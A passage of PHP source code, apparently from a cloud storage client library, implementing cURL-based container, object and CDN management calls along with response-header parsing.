curl_setopt($curl_ch, CURLOPT_HEADERFUNCTION,array(&$this,'_auth_hdr_cb')); curl_setopt($curl_ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curl_ch, CURLOPT_URL, $url); curl_exec($curl_ch); curl_close($curl_ch); return array($this->response_status, $this->response_reason, $this->storage_url, $this->cdnm_url, $this->auth_token); } # (CDN) GET /v1/Account # function list_cdn_containers($enabled_only) { $conn_type = "GET_CALL"; $url_path = $this->_make_path("CDN"); $this->_write_callback_type = "TEXT_LIST"; if ($enabled_only) { $return_code = $this->_send_request($conn_type, $url_path . '/?enabled_only=true'); } else { $return_code = $this->_send_request($conn_type, $url_path); } if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; array(0,$this->error_str,array()); } if ($return_code == 401) { return array($return_code,"Unauthorized",array()); } if ($return_code == 404) { return array($return_code,"Account not found.",array()); } if ($return_code == 204) { return array($return_code,"Account has no CDN enabled Containers.", array()); } if ($return_code == 200) { $this->create_array(); return array($return_code,$this->response_reason,$this->_text_list); } $this->error_str = "Unexpected HTTP response: ".$this->response_reason; return array($return_code,$this->error_str,array()); } # (CDN) DELETE /v1/Account/Container or /v1/Account/Container/Object # function purge_from_cdn($path, $email=null) { if(!$path) throw new SyntaxException("Path not set"); $url_path = $this->_make_path("CDN", NULL, $path); if($email) { $hdrs = array(CDN_EMAIL => $email); $return_code = $this->_send_request("DEL_POST",$url_path,$hdrs,"DELETE"); } else $return_code = $this->_send_request("DEL_POST",$url_path,null,"DELETE"); return $return_code; } # (CDN) POST /v1/Account/Container function update_cdn_container($container_name, $ttl=86400, $cdn_log_retention=False, $cdn_acl_user_agent="", $cdn_acl_referrer) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $url_path = $this->_make_path("CDN", $container_name); $hdrs = array( CDN_ENABLED => "True", CDN_TTL => $ttl, CDN_LOG_RETENTION => $cdn_log_retention ? "True" : "False", CDN_ACL_USER_AGENT => $cdn_acl_user_agent, CDN_ACL_REFERRER => $cdn_acl_referrer, ); $return_code = $this->_send_request("DEL_POST",$url_path,$hdrs,"POST"); if ($return_code == 401) { $this->error_str = "Unauthorized"; return array($return_code, $this->error_str, NULL); } if ($return_code == 404) { $this->error_str = "Container not found."; return array($return_code, $this->error_str, NULL); } if ($return_code != 202) { $this->error_str="Unexpected HTTP response: ".$this->response_reason; return array($return_code, $this->error_str, NULL); } return array($return_code, "Accepted", $this->_cdn_uri, $this->_cdn_ssl_uri); } # (CDN) PUT /v1/Account/Container # function add_cdn_container($container_name, $ttl=86400) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $url_path = $this->_make_path("CDN", $container_name); $hdrs = array( CDN_ENABLED => "True", CDN_TTL => $ttl, ); $return_code = $this->_send_request("PUT_CONT", $url_path, $hdrs); if ($return_code == 401) { $this->error_str = "Unauthorized"; return array($return_code,$this->response_reason,False); } if (!in_array($return_code, array(201,202))) { $this->error_str="Unexpected HTTP response: ".$this->response_reason; return array($return_code,$this->response_reason,False); } return array($return_code,$this->response_reason,$this->_cdn_uri, $this->_cdn_ssl_uri); } # (CDN) POST /v1/Account/Container # function remove_cdn_container($container_name) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $url_path = $this->_make_path("CDN", $container_name); $hdrs = array(CDN_ENABLED => "False"); $return_code = $this->_send_request("DEL_POST",$url_path,$hdrs,"POST"); if ($return_code == 401) { $this->error_str = "Unauthorized"; return array($return_code, $this->error_str); } if ($return_code == 404) { $this->error_str = "Container not found."; return array($return_code, $this->error_str); } if ($return_code != 202) { $this->error_str="Unexpected HTTP response: ".$this->response_reason; return array($return_code, $this->error_str); } return array($return_code, "Accepted"); } # (CDN) HEAD /v1/Account # function head_cdn_container($container_name) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $conn_type = "HEAD"; $url_path = $this->_make_path("CDN", $container_name); $return_code = $this->_send_request($conn_type, $url_path, NULL, "GET", True); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,NULL,NULL,NULL,NULL,NULL,NULL); } if ($return_code == 401) { return array($return_code,"Unauthorized",NULL,NULL,NULL,NULL,NULL,NULL); } if ($return_code == 404) { return array($return_code,"Account not found.",NULL,NULL,NULL,NULL,NULL,NULL); } if ($return_code == 204) { return array($return_code,$this->response_reason, $this->_cdn_enabled, $this->_cdn_ssl_uri, $this->_cdn_uri, $this->_cdn_ttl, $this->_cdn_log_retention, $this->_cdn_acl_user_agent, $this->_cdn_acl_referrer ); } return array($return_code,$this->response_reason, NULL,NULL,NULL, $this->_cdn_log_retention, $this->_cdn_acl_user_agent, $this->_cdn_acl_referrer ); } # GET /v1/Account # function list_containers($limit=0, $marker=NULL) { $conn_type = "GET_CALL"; $url_path = $this->_make_path(); $limit = intval($limit); $params = array(); if ($limit > 0) { $params[] = "limit=$limit"; } if ($marker) { $params[] = "marker=".rawurlencode($marker); } if (!empty($params)) { $url_path .= "?" . implode("&", $params); } $this->_write_callback_type = "TEXT_LIST"; $return_code = $this->_send_request($conn_type, $url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,array()); } if ($return_code == 204) { return array($return_code, "Account has no containers.", array()); } if ($return_code == 404) { $this->error_str = "Invalid account name for authentication token."; return array($return_code,$this->error_str,array()); } if ($return_code == 200) { $this->create_array(); return array($return_code, $this->response_reason, $this->_text_list); } $this->error_str = "Unexpected HTTP response: ".$this->response_reason; return array($return_code,$this->error_str,array()); } # GET /v1/Account?format=json # function list_containers_info($limit=0, $marker=NULL) { $conn_type = "GET_CALL"; $url_path = $this->_make_path() . "?format=json"; $limit = intval($limit); $params = array(); if ($limit > 0) { $params[] = "limit=$limit"; } if ($marker) { $params[] = "marker=".rawurlencode($marker); } if (!empty($params)) { $url_path .= "&" . implode("&", $params); } $this->_write_callback_type = "OBJECT_STRING"; $return_code = $this->_send_request($conn_type, $url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,array()); } if ($return_code == 204) { return array($return_code, "Account has no containers.", array()); } if ($return_code == 404) { $this->error_str = "Invalid account name for authentication token."; return array($return_code,$this->error_str,array()); } if ($return_code == 200) { $json_body = json_decode($this->_obj_write_string, True); return array($return_code, $this->response_reason, $json_body); } $this->error_str = "Unexpected HTTP response: ".$this->response_reason; return array($return_code,$this->error_str,array()); } # HEAD /v1/Account # function head_account() { $conn_type = "HEAD"; $url_path = $this->_make_path(); $return_code = $this->_send_request($conn_type,$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; array(0,$this->error_str,0,0); } if ($return_code == 404) { return array($return_code,"Account not found.",0,0); } if ($return_code == 204) { return array($return_code,$this->response_reason, $this->_account_container_count, $this->_account_bytes_used); } return array($return_code,$this->response_reason,0,0); } # PUT /v1/Account/Container # function create_container($container_name) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $url_path = $this->_make_path("STORAGE", $container_name); $return_code = $this->_send_request("PUT_CONT",$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return False; } return $return_code; } # DELETE /v1/Account/Container # function delete_container($container_name) { if ($container_name == "") throw new SyntaxException("Container name not set."); if ($container_name != "0" and !isset($container_name)) throw new SyntaxException("Container name not set."); $url_path = $this->_make_path("STORAGE", $container_name); $return_code = $this->_send_request("DEL_POST",$url_path,array(),"DELETE"); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; } if ($return_code == 409) { $this->error_str = "Container must be empty prior to removing it."; } if ($return_code == 404) { $this->error_str = "Specified container did not exist to delete."; } if ($return_code != 204) { $this->error_str = "Unexpected HTTP return code: $return_code."; } return $return_code; } # GET /v1/Account/Container # function list_objects($cname,$limit=0,$marker=NULL,$prefix=NULL,$path=NULL) { if (!$cname) { $this->error_str = "Container name not set."; return array(0, $this->error_str, array()); } $url_path = $this->_make_path("STORAGE", $cname); $limit = intval($limit); $params = array(); if ($limit > 0) { $params[] = "limit=$limit"; } if ($marker) { $params[] = "marker=".rawurlencode($marker); } if ($prefix) { $params[] = "prefix=".rawurlencode($prefix); } if ($path) { $params[] = "path=".rawurlencode($path); } if (!empty($params)) { $url_path .= "?" . implode("&", $params); } $conn_type = "GET_CALL"; $this->_write_callback_type = "TEXT_LIST"; $return_code = $this->_send_request($conn_type,$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,array()); } if ($return_code == 204) { $this->error_str = "Container has no Objects."; return array($return_code,$this->error_str,array()); } if ($return_code == 404) { $this->error_str = "Container has no Objects."; return array($return_code,$this->error_str,array()); } if ($return_code == 200) { $this->create_array(); return array($return_code,$this->response_reason, $this->_text_list); } $this->error_str = "Unexpected HTTP response code: $return_code"; return array(0,$this->error_str,array()); } # GET /v1/Account/Container?format=json # function get_objects($cname,$limit=0,$marker=NULL,$prefix=NULL,$path=NULL) { if (!$cname) { $this->error_str = "Container name not set."; return array(0, $this->error_str, array()); } $url_path = $this->_make_path("STORAGE", $cname); $limit = intval($limit); $params = array(); $params[] = "format=json"; if ($limit > 0) { $params[] = "limit=$limit"; } if ($marker) { $params[] = "marker=".rawurlencode($marker); } if ($prefix) { $params[] = "prefix=".rawurlencode($prefix); } if ($path) { $params[] = "path=".rawurlencode($path); } if (!empty($params)) { $url_path .= "?" . implode("&", $params); } $conn_type = "GET_CALL"; $this->_write_callback_type = "OBJECT_STRING"; $return_code = $this->_send_request($conn_type,$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,array()); } if ($return_code == 204) { $this->error_str = "Container has no Objects."; return array($return_code,$this->error_str,array()); } if ($return_code == 404) { $this->error_str = "Container has no Objects."; return array($return_code,$this->error_str,array()); } if ($return_code == 200) { $json_body = json_decode($this->_obj_write_string, True); return array($return_code,$this->response_reason, $json_body); } $this->error_str = "Unexpected HTTP response code: $return_code"; return array(0,$this->error_str,array()); } # HEAD /v1/Account/Container # function head_container($container_name) { if ($container_name == "") { $this->error_str = "Container name not set."; return False; } if ($container_name != "0" and !isset($container_name)) { $this->error_str = "Container name not set."; return False; } $conn_type = "HEAD"; $url_path = $this->_make_path("STORAGE", $container_name); $return_code = $this->_send_request($conn_type,$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; array(0,$this->error_str,0,0); } if ($return_code == 404) { return array($return_code,"Container not found.",0,0); } if ($return_code == 204 || $return_code == 200) { return array($return_code,$this->response_reason, $this->_container_object_count, $this->_container_bytes_used); } return array($return_code,$this->response_reason,0,0); } # GET /v1/Account/Container/Object # function get_object_to_string(&$obj, $hdrs=array()) { if (!is_object($obj) || get_class($obj) != "CF_Object") { throw new SyntaxException( "Method argument is not a valid CF_Object."); } $conn_type = "GET_CALL"; $url_path = $this->_make_path("STORAGE", $obj->container->name,$obj->name); $this->_write_callback_type = "OBJECT_STRING"; $return_code = $this->_send_request($conn_type,$url_path,$hdrs); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array($return_code0,$this->error_str,NULL); } if ($return_code == 404) { $this->error_str = "Object not found."; return array($return_code0,$this->error_str,NULL); } if (($return_code < 200) || ($return_code > 299 && $return_code != 412 && $return_code != 304)) { $this->error_str = "Unexpected HTTP return code: $return_code"; return array($return_code,$this->error_str,NULL); } return array($return_code,$this->response_reason, $this->_obj_write_string); } # GET /v1/Account/Container/Object # function get_object_to_stream(&$obj, &$resource=NULL, $hdrs=array()) { if (!is_object($obj) || get_class($obj) != "CF_Object") { throw new SyntaxException( "Method argument is not a valid CF_Object."); } if (!is_resource($resource)) { throw new SyntaxException( "Resource argument not a valid PHP resource."); } $conn_type = "GET_CALL"; $url_path = $this->_make_path("STORAGE", $obj->container->name,$obj->name); $this->_obj_write_resource = $resource; $this->_write_callback_type = "OBJECT_STREAM"; $return_code = $this->_send_request($conn_type,$url_path,$hdrs); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array($return_code,$this->error_str); } if ($return_code == 404) { $this->error_str = "Object not found."; return array($return_code,$this->error_str); } if (($return_code < 200) || ($return_code > 299 && $return_code != 412 && $return_code != 304)) { $this->error_str = "Unexpected HTTP return code: $return_code"; return array($return_code,$this->error_str); } return array($return_code,$this->response_reason); } # PUT /v1/Account/Container/Object # function put_object(&$obj, &$fp) { if (!is_object($obj) || get_class($obj) != "CF_Object") { throw new SyntaxException( "Method argument is not a valid CF_Object."); } if (!is_resource($fp)) { throw new SyntaxException( "File pointer argument is not a valid resource."); } $conn_type = "PUT_OBJ"; $url_path = $this->_make_path("STORAGE", $obj->container->name,$obj->name); $hdrs = $this->_metadata_headers($obj); $etag = $obj->getETag(); if (isset($etag)) { $hdrs[] = "ETag: " . $etag; } if (!$obj->content_type) { $hdrs[] = "Content-Type: application/octet-stream"; } else { $hdrs[] = "Content-Type: " . $obj->content_type; } $this->_init($conn_type); curl_setopt($this->connections[$conn_type], CURLOPT_INFILE, $fp); if (!$obj->content_length) { # We don''t know the Content-Length, so assumed "chunked" PUT # curl_setopt($this->connections[$conn_type], CURLOPT_UPLOAD, True); $hdrs[] = 'Transfer-Encoding: chunked'; } else { # We know the Content-Length, so use regular transfer # curl_setopt($this->connections[$conn_type], CURLOPT_INFILESIZE, $obj->content_length); } $return_code = $this->_send_request($conn_type,$url_path,$hdrs); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0,$this->error_str,NULL); } if ($return_code == 412) { $this->error_str = "Missing Content-Type header"; return array($return_code,$this->error_str,NULL); } if ($return_code == 422) { $this->error_str = "Derived and computed checksums do not match."; return array($return_code,$this->error_str,NULL); } if ($return_code != 201) { $this->error_str = "Unexpected HTTP return code: $return_code"; return array($return_code,$this->error_str,NULL); } return array($return_code,$this->response_reason,$this->_obj_etag); } # POST /v1/Account/Container/Object # function update_object(&$obj) { if (!is_object($obj) || get_class($obj) != "CF_Object") { throw new SyntaxException( "Method argument is not a valid CF_Object."); } if (!is_array($obj->metadata) && !$obj->manifest) { $this->error_str = "Metadata array is empty."; return 0; } $url_path = $this->_make_path("STORAGE", $obj->container->name,$obj->name); $hdrs = $this->_metadata_headers($obj); $return_code = $this->_send_request("DEL_POST",$url_path,$hdrs,"POST"); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return 0; } if ($return_code == 404) { $this->error_str = "Account, Container, or Object not found."; } if ($return_code != 202) { $this->error_str = "Unexpected HTTP return code: $return_code"; } return $return_code; } # HEAD /v1/Account/Container/Object # function head_object(&$obj) { if (!is_object($obj) || get_class($obj) != "CF_Object") { throw new SyntaxException( "Method argument is not a valid CF_Object."); } $conn_type = "HEAD"; $url_path = $this->_make_path("STORAGE", $obj->container->name,$obj->name); $return_code = $this->_send_request($conn_type,$url_path); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return array(0, $this->error_str." ".$this->response_reason, NULL, NULL, NULL, NULL, array()); } if ($return_code == 404) { return array($return_code, $this->response_reason, NULL, NULL, NULL, NULL, array()); } if ($return_code == 204 || $return_code == 200) { return array($return_code,$this->response_reason, $this->_obj_etag, $this->_obj_last_modified, $this->_obj_content_type, $this->_obj_content_length, $this->_obj_metadata, $this->_obj_manifest); } $this->error_str = "Unexpected HTTP return code: $return_code"; return array($return_code, $this->error_str." ".$this->response_reason, NULL, NULL, NULL, NULL, array()); } # DELETE /v1/Account/Container/Object # function delete_object($container_name, $object_name) { if ($container_name == "") { $this->error_str = "Container name not set."; return 0; } if ($container_name != "0" and !isset($container_name)) { $this->error_str = "Container name not set."; return 0; } if (!$object_name) { $this->error_str = "Object name not set."; return 0; } $url_path = $this->_make_path("STORAGE", $container_name,$object_name); $return_code = $this->_send_request("DEL_POST",$url_path,NULL,"DELETE"); if (!$return_code) { $this->error_str .= ": Failed to obtain valid HTTP response."; return 0; } if ($return_code == 404) { $this->error_str = "Specified container did not exist to delete."; } if ($return_code != 204) { $this->error_str = "Unexpected HTTP return code: $return_code."; } return $return_code; } function get_error() { return $this->error_str; } function setDebug($bool) { $this->dbug = $bool; foreach ($this->connections as $k => $v) { if (!is_null($v)) { curl_setopt($this->connections[$k], CURLOPT_VERBOSE, $this->dbug); } } } function getCDNMUrl() { return $this->cdnm_url; } function getStorageUrl() { return $this->storage_url; } function getAuthToken() { return $this->auth_token; } function setCFAuth($cfs_auth, $servicenet=False) { if ($servicenet) { $this->storage_url = "https://snet-" . substr($cfs_auth->storage_url, 8); } else { $this->storage_url = $cfs_auth->storage_url; } $this->auth_token = $cfs_auth->auth_token; $this->cdnm_url = $cfs_auth->cdnm_url; } function setReadProgressFunc($func_name) { $this->_user_read_progress_callback_func = $func_name; } function setWriteProgressFunc($func_name) { $this->_user_write_progress_callback_func = $func_name; } private function _header_cb($ch, $header) { preg_match("/^HTTP\/1\.[01] (\d{3}) (.*)/", $header, $matches); if (isset($matches[1])) { $this->response_status = $matches[1]; } if (isset($matches[2])) { $this->response_reason = $matches[2]; } if (stripos($header, CDN_ENABLED) === 0) { $val = trim(substr($header, strlen(CDN_ENABLED)+1)); if (strtolower($val) == "true") { $this->_cdn_enabled = True; } elseif (strtolower($val) == "false") { $this->_cdn_enabled = False; } else { $this->_cdn_enabled = NULL; } return strlen($header); } if (stripos($header, CDN_URI) === 0) { $this->_cdn_uri = trim(substr($header, strlen(CDN_URI)+1)); return strlen($header); } if (stripos($header, CDN_SSL_URI) === 0) { $this->_cdn_ssl_uri = trim(substr($header, strlen(CDN_SSL_URI)+1)); return strlen($header); } if (stripos($header, CDN_TTL) === 0) { $this->_cdn_ttl = trim(substr($header, strlen(CDN_TTL)+1))+0; return strlen($header); } if (stripos($header, MANIFEST_HEADER) === 0) { $this->_obj_manifest = trim(substr($header, strlen(MANIFEST_HEADER)+1)); return strlen($header); } if (stripos($header, CDN_LOG_RETENTION) === 0) { $this->_cdn_log_retention = trim(substr($header, strlen(CDN_LOG_RETENTION)+1)) == "True" ? True : False; return strlen($header); } if (stripos($header, CDN_ACL_USER_AGENT) === 0) { $this->_cdn_acl_user_agent = trim(substr($header, strlen(CDN_ACL_USER_AGENT)+1)); return strlen($header); } if (stripos($header, CDN_ACL_REFERRER) === 0) { $this->_cdn_acl_referrer = trim(substr($header, strlen(CDN_ACL_REFERRER)+1)); return strlen($header); } if (stripos($header, ACCOUNT_CONTAINER_COUNT) === 0) { $this->_account_container_count = (float) trim(substr($header, strlen(ACCOUNT_CONTAINER_COUNT)+1))+0; return strlen($header); } if (stripos($header, ACCOUNT_BYTES_USED) === 0) { $this->_account_bytes_used = (float) trim(substr($header, strlen(ACCOUNT_BYTES_USED)+1))+0; return strlen($header); } if (stripos($header, CONTAINER_OBJ_COUNT) === 0) { $this->_container_object_count = (float) trim(substr($header, strlen(CONTAINER_OBJ_COUNT)+1))+0; return strlen($header); } if (stripos($header, CONTAINER_BYTES_USED) === 0) { $this->_container_bytes_used = (float) trim(substr($header, strlen(CONTAINER_BYTES_USED)+1))+0; return strlen($header); } if (stripos($header, METADATA_HEADER) === 0) { # $header => X-Object-Meta-Foo: bar baz $temp = substr($header, strlen(METADATA_HEADER)); # $temp => Foo: bar baz $parts = explode(":", $temp); # $parts[0] => Foo $val = substr(strstr($temp, ":"), 1); # $val => bar baz $this->_obj_metadata[$parts[0]] = trim($val); return strlen($header); } if (stripos($header, "ETag:") === 0) { # $header => ETag: abc123def456... $val = substr(strstr($header, ":"), 1); # $val => abc123def456... $this->_obj_etag = trim($val); return strlen($header); } if (stripos($header, "Last-Modified:") === 0) { $val = substr(strstr($header, ":"), 1); $this->_obj_last_modified = trim($val); return strlen($header); } if (stripos($header, "Content-Type:") === 0) { $val = substr(strstr($header, ":"), 1); $this->_obj_content_type = trim($val); return strlen($header); } if (stripos($header, "Content-Length:") === 0) { $val = substr(strstr($header, ":"), 1); $this->_obj_content_length = (float) trim($val)+0; return strlen($header); } return strlen($header); } private function _read_cb($ch, $fd, $length) { $data = fread($fd, $length); $len = strlen($data); if (isset($this->_user_write_progress_callback_func)) { call_user_func($this->_user_write_progress_callback_func, $len); } return $data; } private function _write_cb($ch, $data) { $dlen = strlen($data); switch ($this->_write_callback_type) { case "TEXT_LIST": $this->_return_list = $this->_return_list . $data; //= explode("\n",$data); # keep tab,space //his->_text_list[] = rtrim($data,"\n\r\x0B"); # keep tab,space break; case "OBJECT_STREAM": fwrite($this->_obj_write_resource, $data, $dlen); break; case "OBJECT_STRING": $this->_obj_write_string .= $data; break; } if (isset($this->_user_read_progress_callback_func)) { call_user_func($this->_user_read_progress_callback_func, $dlen); } return $dlen; } private function _auth_hdr_cb($ch, $header) { preg_match("/^HTTP\/1\.[01] (\d{3}) (.*)/", $header, $matches); if (isset($matches[1])) { $this->response_status = $matches[1]; } if (isset($matches[2])) { $this->response_reason = $matches[2]; } if (stripos($header, STORAGE_URL) === 0) { $this->storage_url = trim(substr($header, strlen(STORAGE_URL)+1)); } if (stripos($header, CDNM_URL) === 0) { $this->cdnm_url = trim(substr($header, strlen(CDNM_URL)+1)); } if (stripos($header, AUTH_TOKEN) === 0) { $this->auth_token = trim(substr($header, strlen(AUTH_TOKEN)+1)); } if (stripos($header, AUTH_TOKEN_LEGACY) === 0) { $this->auth_token = trim(substr($header,strlen(AUTH_TOKEN_LEGACY)+1)); } return strlen($header); } private function _make_headers($hdrs=NULL) { $new_headers = array(); $has_stoken = False; $has_uagent = False; if (is_array($hdrs)) { foreach ($hdrs as $h => $v) { if (is_int($h)) { $parts = explode(":", $v); $header = $parts[0]; $value = trim(substr(strstr($v, ":"), 1)); } else { $header = $h; $value = trim($v); } if (stripos($header, AUTH_TOKEN) === 0) { $has_stoken = True; } if (stripos($header, "user-agent") === 0) { $has_uagent = True; } $new_headers[] = $header . ": " . $value; } } if (!$has_stoken) { $new_headers[] = AUTH_TOKEN . ": " . $this->auth_token; } if (!$has_uagent) { $new_headers[] = "User-Agent: " . USER_AGENT; } return $new_headers; } private function _init($conn_type, $force_new=False) { if (!array_key_exists($conn_type, $this->connections)) { $this->error_str = "Invalid CURL_XXX connection type"; return False; } if (is_null($this->connections[$conn_type]) || $force_new) { $ch = curl_init(); } else { return; } if ($this->dbug) { curl_setopt($ch, CURLOPT_VERBOSE, 1); } if (!is_null($this->cabundle_path)) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, True); curl_setopt($ch, CURLOPT_CAINFO, $this->cabundle_path); } curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, True); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_MAXREDIRS, 4); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_HEADERFUNCTION, array(&$this, '_header_cb')); if ($conn_type == "GET_CALL") { curl_setopt($ch, CURLOPT_WRITEFUNCTION, array(&$this, '_write_cb')); } if ($conn_type == "PUT_OBJ") { curl_setopt($ch, CURLOPT_PUT, 1); curl_setopt($ch, CURLOPT_READFUNCTION, array(&$this, '_read_cb')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); } if ($conn_type == "HEAD") { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "HEAD"); curl_setopt($ch, CURLOPT_NOBODY, 1); } if ($conn_type == "PUT_CONT") { curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); curl_setopt($ch, CURLOPT_INFILESIZE, 0); curl_setopt($ch, CURLOPT_NOBODY, 1); } if ($conn_type == "DEL_POST") { curl_setopt($ch, CURLOPT_NOBODY, 1); } $this->connections[$conn_type] = $ch; return; } private function _reset_callback_vars() { $this->_text_list = array(); $this->_return_list = NULL; $this->_account_container_count = 0; $this->_account_bytes_used = 0; $this->_container_object_count = 0; $this->_container_bytes_used = 0; $this->_obj_etag = NULL; $this->_obj_last_modified = NULL; $this->_obj_content_type = NULL; $this->_obj_content_length = NULL; $this->_obj_metadata = array(); $this->_obj_manifest = NULL; $this->_obj_write_string = ""; $this->_cdn_enabled = NULL; $this->_cdn_ssl_uri = NULL; $this->_cdn_uri = NULL; $this->_cdn_ttl = NULL; $this->response_status = 0; $this->response_reason = ""; } private function _make_path($t="STORAGE",$c=NULL,$o=NULL) { $path = array(); switch ($t) { case "STORAGE": $path[] = $this->storage_url; break; case "CDN": $path[] = $this->cdnm_url; break; } if ($c == "0") $path[] = rawurlencode($c); if ($c) { $path[] = rawurlencode($c); } if ($o) { # mimic Python''s urllib.quote() feature of a "safe" '/' character # $path[] = str_replace("%2F","/",rawurlencode($o)); } return implode("/",$path); } private function _metadata_headers(&$obj) { $hdrs = array(); if ($obj->manifest) $hdrs[MANIFEST_HEADER] = $obj->manifest; foreach ($obj->metadata as $k => $v) { if (strpos($k,":") !== False) { throw new SyntaxException( "Metadata keys cannot contain a ':' character."); } $k = trim($k); $key = sprintf("%s%s", METADATA_HEADER, $k); if (!array_key_exists($key, $hdrs)) { if (strlen($k) > 128 || strlen($v) > 256) { $this->error_str = "Metadata key or value exceeds "; $this->error_str .= "maximum length: ($k: $v)"; return 0; } $hdrs[] = sprintf("%s%s: %s", METADATA_HEADER, $k, trim($v)); } } return $hdrs; } private function _send_request($conn_type, $url_path, $hdrs=NULL, $method="GET", $force_new=False) { $this->_init($conn_type, $force_new); $this->_reset_callback_vars(); $headers = $this->_make_headers($hdrs); if (gettype($this->connections[$conn_type]) == "unknown type") throw new ConnectionNotOpenException ( "Connection is not open." ); switch ($method) { case "DELETE": curl_setopt($this->connections[$conn_type], CURLOPT_CUSTOMREQUEST, "DELETE"); break; case "POST": curl_setopt($this->connections[$conn_type], CURLOPT_CUSTOMREQUEST, "POST"); default: break; } curl_setopt($this->connections[$conn_type], CURLOPT_HTTPHEADER, $headers); curl_setopt($this->connections[$conn_type], CURLOPT_URL, $url_path); if (!curl_exec($this->connections[$conn_type]) && curl_errno($this->connections[$conn_type]) !== 0) { $this->error_str = "(curl error: " . curl_errno($this->connections[$conn_type]) . ") "; $this->error_str .= curl_error($this->connections[$conn_type]); return False; } return curl_getinfo($this->connections[$conn_type], CURLINFO_HTTP_CODE); } function close() { foreach ($this->connections as $cnx) { if (isset($cnx)) { curl_close($cnx); $this->connections[$cnx] = NULL; } } } private function create_array() { $this->_text_list = explode("\n",rtrim($this->_return_list,"\n\x0B")); return True; } } /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * c-hanging-comment-ender-p: nil * End: */ ?>